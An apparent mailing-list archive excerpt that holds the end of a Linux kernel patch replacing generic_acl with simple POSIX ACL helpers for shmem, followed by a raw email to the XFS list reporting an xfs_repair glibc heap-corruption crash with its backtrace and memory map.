ACL_TYPE_ACCESS); - if (acl) { - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; - set_cached_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - } - return error; -} - -const struct xattr_handler generic_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = generic_acl_list, - .get = generic_acl_get, - .set = generic_acl_set, -}; - -const struct xattr_handler generic_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = generic_acl_list, - .get = generic_acl_get, - .set = generic_acl_set, -}; diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 00844a3..121aa94 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -785,3 +785,39 @@ const struct xattr_handler posix_acl_default_xattr_handler = { .set = posix_acl_xattr_set, }; EXPORT_SYMBOL_GPL(posix_acl_default_xattr_handler); + +int simple_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + int error; + + if (type == ACL_TYPE_ACCESS) { + error = posix_acl_equiv_mode(acl, &inode->i_mode); + if (error < 0) + return 0; + if (error == 0) + acl = NULL; + } + + inode->i_ctime = CURRENT_TIME; + set_cached_acl(inode, type, acl); + return 0; +} + +int simple_acl_create(struct inode *dir, struct inode *inode) +{ + struct posix_acl *default_acl, *acl; + int error; + + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; + + set_cached_acl(inode, ACL_TYPE_DEFAULT, default_acl); + set_cached_acl(inode, ACL_TYPE_ACCESS, acl); + + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); + return 0; +} diff --git a/include/linux/generic_acl.h b/include/linux/generic_acl.h deleted file mode 100644 index b6d6575..0000000 --- a/include/linux/generic_acl.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef LINUX_GENERIC_ACL_H -#define LINUX_GENERIC_ACL_H - -#include - -struct inode; - -extern const struct xattr_handler generic_acl_access_handler; -extern const struct xattr_handler generic_acl_default_handler; - -int generic_acl_init(struct inode *, struct inode *); -int generic_acl_chmod(struct inode *); - -#endif /* LINUX_GENERIC_ACL_H */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 2e40aae..aa568d0 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -99,6 +99,9 @@ extern int posix_acl_chmod(struct inode *, umode_t); extern int posix_acl_create(struct inode *, umode_t *, struct posix_acl **, struct posix_acl **); +extern int simple_set_acl(struct inode *, struct posix_acl *, int); +extern int simple_acl_create(struct inode *, struct inode *); + static inline struct posix_acl **acl_by_type(struct inode *inode, int type) { switch (type) { @@ -181,6 +184,12 @@ static inline int posix_acl_chmod(struct inode *inode, umode_t mode) return 0; } +#define simple_set_acl NULL + +static inline int simple_acl_create(struct inode *dir, struct inode *inode) +{ + return 0; +} static inline void cache_no_acl(struct inode *inode) { } diff --git a/mm/shmem.c b/mm/shmem.c index 902a148..b21ca54 100644 --- a/mm/shmem.c +++ b/mm/shmem.c @@ -45,7 +45,7 @@ static struct vfsmount *shm_mnt; #include #include #include -#include +#include #include #include #include @@ -620,10 +620,8 @@ static int shmem_setattr(struct dentry *dentry, struct iattr *attr) } setattr_copy(inode, attr); -#ifdef CONFIG_TMPFS_POSIX_ACL if (attr->ia_valid & ATTR_MODE) - error = generic_acl_chmod(inode); -#endif + error = posix_acl_chmod(inode, inode->i_mode); return error; } @@ -1937,22 +1935,14 @@ shmem_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) inode = shmem_get_inode(dir->i_sb, dir, mode, dev, VM_NORESERVE); if (inode) { -#ifdef CONFIG_TMPFS_POSIX_ACL - error = generic_acl_init(inode, dir); - if (error) { - iput(inode); - return error; - } -#endif + error = simple_acl_create(dir, inode); + if (error) + goto out_iput; error = security_inode_init_security(inode, dir, &dentry->d_name, shmem_initxattrs, NULL); - if (error) { - if (error != -EOPNOTSUPP) { - iput(inode); - return error; - } - } + if (error && error != -EOPNOTSUPP) + goto out_iput; error = 0; dir->i_size += BOGO_DIRENT_SIZE; @@ -1961,6 +1951,9 @@ shmem_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) dget(dentry); /* Extra count - pin the dentry in core */ } return error; +out_iput: + iput(inode); + return error; } static int @@ -1974,24 +1967,17 @@ shmem_tmpfile(struct inode *dir, struct dentry *dentry, umode_t mode) error = security_inode_init_security(inode, dir, NULL, shmem_initxattrs, NULL); - if (error) { - if (error != -EOPNOTSUPP) { - iput(inode); - return error; - } - } -#ifdef CONFIG_TMPFS_POSIX_ACL - error = generic_acl_init(inode, dir); - if (error) { - iput(inode); - return error; - } -#else - error = 0; -#endif + if (error && error != -EOPNOTSUPP) + goto out_iput; + error = simple_acl_create(dir, inode); + if (error) + goto out_iput; d_tmpfile(dentry, inode); } return error; +out_iput: + iput(inode); + return error; } static int shmem_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) @@ -2223,8 +2209,8 @@ static int shmem_initxattrs(struct inode *inode, static const struct xattr_handler *shmem_xattr_handlers[] = { #ifdef CONFIG_TMPFS_POSIX_ACL - &generic_acl_access_handler, - &generic_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL }; @@ -2740,6 +2726,7 @@ static const struct inode_operations shmem_inode_operations = { .getxattr = shmem_getxattr, .listxattr = shmem_listxattr, .removexattr = shmem_removexattr, + .set_acl = simple_set_acl, #endif }; @@ -2764,6 +2751,7 @@ static const struct inode_operations shmem_dir_inode_operations = { #endif #ifdef CONFIG_TMPFS_POSIX_ACL .setattr = shmem_setattr, + .set_acl = simple_set_acl, #endif }; @@ -2776,6 +2764,7 @@ static const struct inode_operations shmem_special_inode_operations = { #endif #ifdef CONFIG_TMPFS_POSIX_ACL .setattr = shmem_setattr, + .set_acl = simple_set_acl, #endif }; -- 1.7.10.4 From marc.boivin@libeo.com Fri Dec 20 08:26:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7226C29DF8 for ; Fri, 20 Dec 2013 08:26:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5D70F30407A for ; Fri, 20 Dec 2013 06:26:31 -0800 (PST) X-ASG-Debug-ID: 1387549588-04cb6c537c86e1c0001-NocioJ Received: from mx2.noc1.sys-tech.net (mx2.noc1.sys-tech.net [199.21.216.50]) by cuda.sgi.com with ESMTP id 9N0fTyvqqWdfA1Tl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 06:26:28 -0800 (PST) X-Barracuda-Envelope-From: marc.boivin@libeo.com X-Barracuda-Apparent-Source-IP: 199.21.216.50 Received: (qmail 18565 invoked from network); 20 Dec 2013 14:26:27 -0000 Received: from unknown (HELO marc-3.kaamelott) (marc.boivin@sys-tech.net@70.49.212.174) by mx2.noc1.sys-tech.net with ESMTPA; 20 Dec 2013 14:26:27 -0000 From: Marc Boivin Content-Type: multipart/alternative; boundary="Apple-Mail=_D1AA51C4-9870-42FC-B63E-F4DFFF9D2CB0" Subject: XFS segfaulting on xfs_repair Message-Id: <5C03211A-BF4B-485A-97F1-9CE00DACF09D@libeo.com> X-ASG-Orig-Subj: XFS segfaulting on xfs_repair Date: Fri, 20 Dec 2013 09:26:26 -0500 To: xfs@oss.sgi.com Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: mx2.noc1.sys-tech.net[199.21.216.50] X-Barracuda-Start-Time: 1387549588 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --Apple-Mail=_D1AA51C4-9870-42FC-B63E-F4DFFF9D2CB0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 Hi, We=92ve been having a hard time with our ifs partition but managed = to get it almost back to working conditions. To give you a bit of = context we have a LVM sitting on top of 3 RAID 5. The partition is = encrypted. We had issues with RAID degradation but now the RAIDs are = healthy.=20 We ran xfs_repair quite a few times (5 if I=92m not mistaken). We are = stuck with an error:=20 *** glibc detected *** xfs_repair: malloc(): smallbin double linked list = corrupted: 0x00007f5dc7642570 *** =3D=3D=3D=3D=3D=3D=3D Backtrace: =3D=3D=3D=3D=3D=3D=3D=3D=3D /lib/x86_64-linux-gnu/libc.so.6(+0x76d76)[0x7f6149f96d76] /lib/x86_64-linux-gnu/libc.so.6(+0x7a658)[0x7f6149f9a658] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x70)[0x7f6149f9bb90] xfs_repair[0x42da83] xfs_repair[0x42db16] xfs_repair[0x42dd62] xfs_repair[0x430b74] xfs_repair[0x4492de] xfs_repair[0x44e634] xfs_repair[0x451976] xfs_repair[0x44c4ba] xfs_repair[0x41f126] xfs_repair[0x421e55] xfs_repair[0x4039d8] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd)[0x7f6149f3eead] xfs_repair[0x403ff9] =3D=3D=3D=3D=3D=3D=3D Memory map: =3D=3D=3D=3D=3D=3D=3D=3D 00400000-0047e000 r-xp 00000000 fe:00 1703949 = /sbin/xfs_repair 0067d000-00680000 rw-p 0007d000 fe:00 1703949 = /sbin/xfs_repair 00680000-00681000 rw-p 00000000 00:00 0 01f02000-dbafa000 rw-p 00000000 00:00 0 = [heap] 7f59bc000000-7f59c03e9000 rw-p 00000000 00:00 0 7f59c03e9000-7f59c4000000 ---p 00000000 00:00 0 7f59c4000000-7f59c8000000 rw-p 00000000 00:00 0 7f59c8000000-7f59c9103000 rw-p 00000000 00:00 0 7f59c9103000-7f59cc000000 ---p 00000000 00:00 0 7f59cc000000-7f59d4000000 rw-p 00000000 00:00 0 7f59d4000000-7f59dc000000 rw-p 00000000 00:00 0 7f59dc000000-7f59e4000000 rw-p 00000000 00:00 0 7f59e4000000-7f59e8000000 rw-p 00000000 00:00 0 7f59e8000000-7f59ec000000 rw-p 00000000 00:00 0 7f59ec000000-7f59f4000000 rw-p 00000000 00:00 0 7f59f4000000-7f59f7fff000 rw-p 00000000 00:00 0 7f59f7fff000-7f59f8000000 ---p 00000000 00:00 0 7f59f8000000-7f59f91ca000 rw-p 00000000 00:00 0 7f59f91ca000-7f59fc000000 ---p 00000000 00:00 0 7f59fc000000-7f59fe063000 rw-p 00000000 00:00 0 7f59fe063000-7f5a00000000 ---p 00000000 00:00 0 7f5a00000000-7f5a04000000 rw-p 00000000 00:00 0 7f5a04000000-7f5a0c000000 rw-p 00000000 00:00 0 7f5a0c000000-7f5a14000000 rw-p 00000000 00:00 0 7f5a14000000-7f5a14b97000 rw-p 00000000 00:00 0 7f5a14b97000-7f5a18000000 ---p 00000000 00:00 0 7f5a18000000-7f5a1c000000 rw-p 00000000 00:00 0 7f5a1c000000-7f5a24000000 rw-p 00000000 00:00 0 7f5a24000000-7f5a28000000 rw-p 00000000 00:00 0 7f5a2c000000-7f5a34000000 rw-p 00000000 00:00 0 7f5a34000000-7f5a3c000000 rw-p 00000000 00:00 0 7f5a40000000-7f5a48000000 rw-p 00000000 00:00 0 7f5a48000000-7f5a50000000 rw-p 00000000 00:00 0 7f5a50000000-7f5a54809000 rw-p 00000000 00:00 0 7f5a54809000-7f5a58000000 ---p 00000000 00:00 0 7f5a58000000-7f5a68000000 rw-p 00000000 00:00 0 7f5a68000000-7f5a7c000000 rw-p 00000000 00:00 0 7f5a80000000-7f5a84000000 rw-p 00000000 00:00 0 7f5a84000000-7f5a8c000000 rw-p 00000000 00:00 0 7f5a8c000000-7f5a94000000 rw-p 00000000 00:00 0 7f5a94000000-7f5a9c000000 rw-p 00000000 00:00 0 7f5aa0000000-7f5aa4000000 rw-p 00000000 00:00 0 7f5aa4000000-7f5aa8000000 rw-p 00000000 00:00 0 7f5aac000000-7f5aaffff000 rw-p 00000000 00:00 0 7f5aaffff000-7f5ab0000000 ---p 00000000 00:00 0 7f5ab0000000-7f5ab4000000 rw-p 00000000 00:00 0 7f5ab4000000-7f5abc000000 rw-p 00000000 00:00 0 7f5abc000000-7f5ac4000000 rw-p 00000000 00:00 0 7f5ac4000000-7f5acc000000 rw-p 00000000 00:00 0 7f5acc000000-7f5acffff000 rw-p 00000000 00:00 0 7f5acffff000-7f5ad0000000 ---p 00000000 00:00 0 7f5ad0000000-7f5ad4000000 rw-p 00000000 00:00 0 7f5ad4000000-7f5adc000000 rw-p 00000000 00:00 0 7f5adc000000-7f5ae4000000 rw-p 00000000 00:00 0 7f5ae8000000-7f5aec000000 rw-p 00000000 00:00 0 7f5aec000000-7f5af0000000 rw-p 00000000 00:00 0 7f5af4000000-7f5af9318000 rw-p 00000000 00:00 0 7f5af9318000-7f5afc000000 ---p 00000000 00:00 0 7f5afc000000-7f5b04000000 rw-p 00000000 00:00 0 7f5b04000000-7f5b0c000000 rw-p 00000000 00:00 0 7f5b0c000000-7f5b14000000 rw-p 00000000 00:00 0 7f5b14000000-7f5b1c000000 rw-p 00000000 00:00 0 7f5b1c000000-7f5b24000000 rw-p 00000000 00:00 0 7f5b24000000-7f5b27fff000 rw-p 00000000 00:00 0 7f5b27fff000-7f5b28000000 ---p 00000000 00:00 0 7f5b28000000-7f5b2bfff000 rw-p 00000000 00:00 0 7f5b2bfff000-7f5b2c000000 ---p 00000000 00:00 0 7f5b2c000000-7f5b30a33000 rw-p 00000000 00:00 0 7f5b30a33000-7f5b34000000 ---p 00000000 00:00 0 7f5b34000000-7f5b3c000000 rw-p 00000000 00:00 0 7f5b3c000000-7f5b44000000 rw-p 00000000 00:00 0 7f5b44000000-7f5b4c000000 rw-p 00000000 00:00 0 7f5b4c000000-7f5b54000000 rw-p 00000000 00:00 0 7f5b54000000-7f5b5c000000 rw-p 00000000 00:00 0 7f5b5c000000-7f5b64000000 rw-p 00000000 00:00 0 7f5b64000000-7f5b68000000 rw-p 00000000 00:00 0 7f5b68000000-7f5b6c000000 rw-p 00000000 00:00 0 7f5b6c000000-7f5b74000000 rw-p 00000000 00:00 0 7f5b74000000-7f5b7c000000 rw-p 00000000 00:00 0 7f5b7c000000-7f5b80000000 rw-p 00000000 00:00 0 7f5b84000000-7f5b8c000000 rw-p 00000000 00:00 0 7f5b8c000000-7f5b94000000 rw-p 00000000 00:00 0 7f5b94000000-7f5b9c000000 rw-p 00000000 00:00 0 7f5b9c000000-7f5ba4000000 rw-p 00000000 00:00 0 7f5ba4000000-7f5bac000000 rw-p 00000000 00:00 0 7f5bac000000-7f5bb4000000 rw-p 00000000 00:00 0 7f5bb4000000-7f5bbc000000 rw-p 00000000 00:00 0 7f5bbc000000-7f5bc4000000 rw-p 00000000 00:00 0 7f5bc4000000-7f5bcbfff000 rw-p 00000000 00:00 0 7f5bcbfff000-7f5bcc000000 ---p 00000000 00:00 0 7f5bcc000000-7f5bd4000000 rw-p 00000000 00:00 0 7f5bd4000000-7f5bdc000000 rw-p 00000000 00:00 0 ... 7f5c04000000-7f5c08000000 rw-p 00000000 00:00 0 7f5c08000000-7f5c0bffe000 rw-p 00000000 00:00 0 7f5c0bffe000-7f5c0c000000 ---p 00000000 00:00 0 7f5c0c000000-7f5c10000000 rw-p 00000000 00:00 0 7f5c10000000-7f5c14000000 rw-p 00000000 00:00 0 7f5c14000000-7f5c17fff000 rw-p 00000000 00:00 0 7f5c17fff000-7f5c18000000 ---p 00000000 00:00 0 7f5c18000000-7f5c1c000000 rw-p 00000000 00:00 0 7f5c1c000000-7f5c22964000 rw-p 00000000 00:00 0 7f5c22964000-7f5c24000000 ---p 00000000 00:00 0 7f5c24000000-7f5c2c000000 rw-p 00000000 00:00 0 7f5c2c000000-7f5c34000000 rw-p 00000000 00:00 0 7f5c34000000-7f5c3c000000 rw-p 00000000 00:00 0 7f5c3c000000-7f5c44000000 rw-p 00000000 00:00 0 7f5c44000000-7f5c4c000000 rw-p 00000000 00:00 0 7f5c4c000000-7f5c54000000 rw-p 00000000 00:00 0 7f5c54000000-7f5c5c000000 rw-p 00000000 00:00 0 7f5c5c000000-7f5c64000000 rw-p 00000000 00:00 0 7f5c64000000-7f5c68000000 rw-p 00000000 00:00 0 7f5c68000000-7f5c6c000000 rw-p 00000000 00:00 0 7f5c6c000000-7f5c74000000 rw-p 00000000 00:00 0 7f5c74000000-7f5c78000000 rw-p 00000000 00:00 0 7f5c78000000-7f5c7c000000 rw-p 00000000 00:00 0 7f5c7c000000-7f5c83fff000 rw-p 00000000 00:00 0 7f5c83fff000-7f5c84000000 ---p 00000000 00:00 0 7f5c84000000-7f5c8c000000 rw-p 00000000 00:00 0 7f5c8c000000-7f5c94000000 rw-p 00000000 00:00 0 7f5c94000000-7f5c98000000 rw-p 00000000 00:00 0 7f5c98000000-7f5c9c000000 rw-p 00000000 00:00 0 7f5c9c000000-7f5ca4000000 rw-p 00000000 00:00 0 7f5ca4000000-7f5cac000000 rw-p 00000000 00:00 0 7f5cac000000-7f5cb4000000 rw-p 00000000 00:00 0 7f5cb4000000-7f5cbc000000 rw-p 00000000 00:00 0 7f5cbc000000-7f5cc363d000 rw-p 00000000 00:00 0 7f5cc363d000-7f5cc4000000 ---p 00000000 00:00 0 7f5cc4000000-7f5ccc000000 rw-p 00000000 00:00 0 7f5ccc000000-7f5cd4000000 rw-p 00000000 00:00 0 7f5cd4000000-7f5cd8000000 rw-p 00000000 00:00 0 7f5cd8000000-7f5cdc000000 rw-p 00000000 00:00 0 Abandon Anything we can do?=20 Regards, Marc Marc Boivin Directeur Technologique 418 520-0739, poste 169 marc.boivin@libeo.com Lib=E9o / Web et applications libres 6700, boulevard Pierre-Bertrand, bureau 209 Qu=E9bec (Qu=E9bec) G2J 0B4 S. F. : 1 877 969-8324 T=E9l=E9c. : 418 520-4554 www.libeo.com Aimez-nous sur Facebook : www.facebook.com/libeocom --Apple-Mail=_D1AA51C4-9870-42FC-B63E-F4DFFF9D2CB0 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=windows-1252 Hi,
        We=92ve been having a hard = time with our ifs partition but managed to get it almost back to working = conditions. To give you a bit of context we have a LVM sitting on top of = 3 RAID 5. The partition is encrypted. We had issues with RAID = degradation but now the RAIDs are = healthy. 

    We ran xfs_repair quite a few = times (5 if I=92m not mistaken). We are stuck with an = error: 

    *** glibc detected *** xfs_repair: malloc(): = smallbin double linked list corrupted: 0x00007f5dc7642570 = ***
    =3D=3D=3D=3D=3D=3D=3D Backtrace: =3D=3D=3D=3D=3D=3D=3D=3D=3D=
    /lib/x86_64-linux-gnu/libc.so.6(+0x76d76)[0x7f6149f96d76]/lib/x86_64-linux-gnu/libc.so.6(+0x7a658)[0x7f6149f9a658]/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x70)[0x7f6149f9bb90]=
    xfs_repair[0x42da83]
    xfs_repair[0x42db16]
    xfs_repair[0x42dd62]
    xfs_repair[0x430b74]
    xfs_repair[0x4492de]
    xfs_repair[0x44e634]
    xfs_repair[0x451976]
    xfs_repair[0x44c4ba]
    xfs_repair[0x41f126]
    xfs_repair[0x421e55]
    xfs_repair[0x4039d8]
    /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd)[0x7f6149f3e= ead]
    xfs_repair[0x403ff9]
    =3D=3D=3D=3D=3D=3D=3D Memory map: = =3D=3D=3D=3D=3D=3D=3D=3D
    00400000-0047e000 r-xp 00000000 fe:00 = 1703949           &= nbsp;           &nb= sp;    /sbin/xfs_repair
    0067d000-00680000 rw-p = 0007d000 fe:00 = 1703949           &= nbsp;           &nb= sp;    /sbin/xfs_repair
    00680000-00681000 rw-p = 00000000 00:00 0
    01f02000-dbafa000 rw-p 00000000 00:00 = 0            &= nbsp;           &nb= sp;         = [heap]
    7f59bc000000-7f59c03e9000 rw-p 00000000 00:00 0
    7f59c03e9000-7f59c4000000 ---p 00000000 00:00 0
    7f59c4000000-7f59c8000000 rw-p 00000000 00:00 0
    7f59c8000000-7f59c9103000 rw-p 00000000 00:00 0
    7f59c9103000-7f59cc000000 ---p 00000000 00:00 0
    7f59cc000000-7f59d4000000 rw-p 00000000 00:00 0
    7f59d4000000-7f59dc000000 rw-p 00000000 00:00 0
    7f59dc000000-7f59e4000000 rw-p 00000000 00:00 0
    7f59e4000000-7f59e8000000 rw-p 00000000 00:00 0
    7f59e8000000-7f59ec000000 rw-p 00000000 00:00 0
    7f59ec000000-7f59f4000000 rw-p 00000000 00:00 0
    7f59f4000000-7f59f7fff000 rw-p 00000000 00:00 0
    7f59f7fff000-7f59f8000000 ---p 00000000 00:00 0
    7f59f8000000-7f59f91ca000 rw-p 00000000 00:00 0
    7f59f91ca000-7f59fc000000 ---p 00000000 00:00 0
    7f59fc000000-7f59fe063000 rw-p 00000000 00:00 0
    7f59fe063000-7f5a00000000 ---p 00000000 00:00 0
    7f5a00000000-7f5a04000000 rw-p 00000000 00:00 0
    7f5a04000000-7f5a0c000000 rw-p 00000000 00:00 0
    7f5a0c000000-7f5a14000000 rw-p 00000000 00:00 0
    7f5a14000000-7f5a14b97000 rw-p 00000000 00:00 0
    7f5a14b97000-7f5a18000000 ---p 00000000 00:00 0
    7f5a18000000-7f5a1c000000 rw-p 00000000 00:00 0
    7f5a1c000000-7f5a24000000 rw-p 00000000 00:00 0
    7f5a24000000-7f5a28000000 rw-p 00000000 00:00 0
    7f5a2c000000-7f5a34000000 rw-p 00000000 00:00 0
    7f5a34000000-7f5a3c000000 rw-p 00000000 00:00 0
    7f5a40000000-7f5a48000000 rw-p 00000000 00:00 0
    7f5a48000000-7f5a50000000 rw-p 00000000 00:00 0
    7f5a50000000-7f5a54809000 rw-p 00000000 00:00 0
    7f5a54809000-7f5a58000000 ---p 00000000 00:00 0
    7f5a58000000-7f5a68000000 rw-p 00000000 00:00 0
    7f5a68000000-7f5a7c000000 rw-p 00000000 00:00 0
    7f5a80000000-7f5a84000000 rw-p 00000000 00:00 0
    7f5a84000000-7f5a8c000000 rw-p 00000000 00:00 0
    7f5a8c000000-7f5a94000000 rw-p 00000000 00:00 0
    7f5a94000000-7f5a9c000000 rw-p 00000000 00:00 0
    7f5aa0000000-7f5aa4000000 rw-p 00000000 00:00 0
    7f5aa4000000-7f5aa8000000 rw-p 00000000 00:00 0
    7f5aac000000-7f5aaffff000 rw-p 00000000 00:00 0
    7f5aaffff000-7f5ab0000000 ---p 00000000 00:00 0
    7f5ab0000000-7f5ab4000000 rw-p 00000000 00:00 0
    7f5ab4000000-7f5abc000000 rw-p 00000000 00:00 0
    7f5abc000000-7f5ac4000000 rw-p 00000000 00:00 0
    7f5ac4000000-7f5acc000000 rw-p 00000000 00:00 0
    7f5acc000000-7f5acffff000 rw-p 00000000 00:00 0
    7f5acffff000-7f5ad0000000 ---p 00000000 00:00 0
    7f5ad0000000-7f5ad4000000 rw-p 00000000 00:00 0
    7f5ad4000000-7f5adc000000 rw-p 00000000 00:00 0
    7f5adc000000-7f5ae4000000 rw-p 00000000 00:00 0
    7f5ae8000000-7f5aec000000 rw-p 00000000 00:00 0
    7f5aec000000-7f5af0000000 rw-p 00000000 00:00 0
    7f5af4000000-7f5af9318000 rw-p 00000000 00:00 0
    7f5af9318000-7f5afc000000 ---p 00000000 00:00 0
    7f5afc000000-7f5b04000000 rw-p 00000000 00:00 0
    7f5b04000000-7f5b0c000000 rw-p 00000000 00:00 0
    7f5b0c000000-7f5b14000000 rw-p 00000000 00:00 0
    7f5b14000000-7f5b1c000000 rw-p 00000000 00:00 0
    7f5b1c000000-7f5b24000000 rw-p 00000000 00:00 0
    7f5b24000000-7f5b27fff000 rw-p 00000000 00:00 0
    7f5b27fff000-7f5b28000000 ---p 00000000 00:00 0
    7f5b28000000-7f5b2bfff000 rw-p 00000000 00:00 0
    7f5b2bfff000-7f5b2c000000 ---p 00000000 00:00 0
    7f5b2c000000-7f5b30a33000 rw-p 00000000 00:00 0
    7f5b30a33000-7f5b34000000 ---p 00000000 00:00 0
    7f5b34000000-7f5b3c000000 rw-p 00000000 00:00 0
    7f5b3c000000-7f5b44000000 rw-p 00000000 00:00 0
    7f5b44000000-7f5b4c000000 rw-p 00000000 00:00 0
    7f5b4c000000-7f5b54000000 rw-p 00000000 00:00 0
    7f5b54000000-7f5b5c000000 rw-p 00000000 00:00 0
    7f5b5c000000-7f5b64000000 rw-p 00000000 00:00 0
    7f5b64000000-7f5b68000000 rw-p 00000000 00:00 0
    7f5b68000000-7f5b6c000000 rw-p 00000000 00:00 0
    7f5b6c000000-7f5b74000000 rw-p 00000000 00:00 0
    7f5b74000000-7f5b7c000000 rw-p 00000000 00:00 0
    7f5b7c000000-7f5b80000000 rw-p 00000000 00:00 0
    7f5b84000000-7f5b8c000000 rw-p 00000000 00:00 0
    7f5b8c000000-7f5b94000000 rw-p 00000000 00:00 0
    7f5b94000000-7f5b9c000000 rw-p 00000000 00:00 0
    7f5b9c000000-7f5ba4000000 rw-p 00000000 00:00 0
    7f5ba4000000-7f5bac000000 rw-p 00000000 00:00 0
    7f5bac000000-7f5bb4000000 rw-p 00000000 00:00 0
    7f5bb4000000-7f5bbc000000 rw-p 00000000 00:00 0
    7f5bbc000000-7f5bc4000000 rw-p 00000000 00:00 0
    7f5bc4000000-7f5bcbfff000 rw-p 00000000 00:00 0
    7f5bcbfff000-7f5bcc000000 ---p 00000000 00:00 0
    7f5bcc000000-7f5bd4000000 rw-p 00000000 00:00 0
    7f5bd4000000-7f5bdc000000 rw-p 00000000 00:00 0
    ...
    7f5c04000000-7f5c08000000 rw-p 00000000 00:00 0
    7f5c08000000-7f5c0bffe000 rw-p 00000000 00:00 0
    7f5c0bffe000-7f5c0c000000 ---p 00000000 00:00 0
    7f5c0c000000-7f5c10000000 rw-p 00000000 00:00 0
    7f5c10000000-7f5c14000000 rw-p 00000000 00:00 0
    7f5c14000000-7f5c17fff000 rw-p 00000000 00:00 0
    7f5c17fff000-7f5c18000000 ---p 00000000 00:00 0
    7f5c18000000-7f5c1c000000 rw-p 00000000 00:00 0
    7f5c1c000000-7f5c22964000 rw-p 00000000 00:00 0
    7f5c22964000-7f5c24000000 ---p 00000000 00:00 0
    7f5c24000000-7f5c2c000000 rw-p 00000000 00:00 0
    7f5c2c000000-7f5c34000000 rw-p 00000000 00:00 0
    7f5c34000000-7f5c3c000000 rw-p 00000000 00:00 0
    7f5c3c000000-7f5c44000000 rw-p 00000000 00:00 0
    7f5c44000000-7f5c4c000000 rw-p 00000000 00:00 0
    7f5c4c000000-7f5c54000000 rw-p 00000000 00:00 0
    7f5c54000000-7f5c5c000000 rw-p 00000000 00:00 0
    7f5c5c000000-7f5c64000000 rw-p 00000000 00:00 0
    7f5c64000000-7f5c68000000 rw-p 00000000 00:00 0
    7f5c68000000-7f5c6c000000 rw-p 00000000 00:00 0
    7f5c6c000000-7f5c74000000 rw-p 00000000 00:00 0
    7f5c74000000-7f5c78000000 rw-p 00000000 00:00 0
    7f5c78000000-7f5c7c000000 rw-p 00000000 00:00 0
    7f5c7c000000-7f5c83fff000 rw-p 00000000 00:00 0
    7f5c83fff000-7f5c84000000 ---p 00000000 00:00 0
    7f5c84000000-7f5c8c000000 rw-p 00000000 00:00 0
    7f5c8c000000-7f5c94000000 rw-p 00000000 00:00 0
    7f5c94000000-7f5c98000000 rw-p 00000000 00:00 0
    7f5c98000000-7f5c9c000000 rw-p 00000000 00:00 0
    7f5c9c000000-7f5ca4000000 rw-p 00000000 00:00 0
    7f5ca4000000-7f5cac000000 rw-p 00000000 00:00 0
    7f5cac000000-7f5cb4000000 rw-p 00000000 00:00 0
    7f5cb4000000-7f5cbc000000 rw-p 00000000 00:00 0
    7f5cbc000000-7f5cc363d000 rw-p 00000000 00:00 0
    7f5cc363d000-7f5cc4000000 ---p 00000000 00:00 0
    7f5cc4000000-7f5ccc000000 rw-p 00000000 00:00 0
    7f5ccc000000-7f5cd4000000 rw-p 00000000 00:00 0
    7f5cd4000000-7f5cd8000000 rw-p 00000000 00:00 0
    7f5cd8000000-7f5cdc000000 rw-p 00000000 00:00 0 = Abandon

    Anything we can = do? 


    Regards,

    <= /div>
    Marc

    Marc = Boivin
    Directeur = Technologique
    418 520-0739, = poste 169

    Lib=E9o
    / Web et applications = libres
    6700, = boulevard Pierre-Bertrand, bureau 209
    Qu=E9bec = (Qu=E9bec)  G2J 0B4
    S. F. : 1 877 = 969-8324
    T=E9l=E9c.= : 418 520-4554






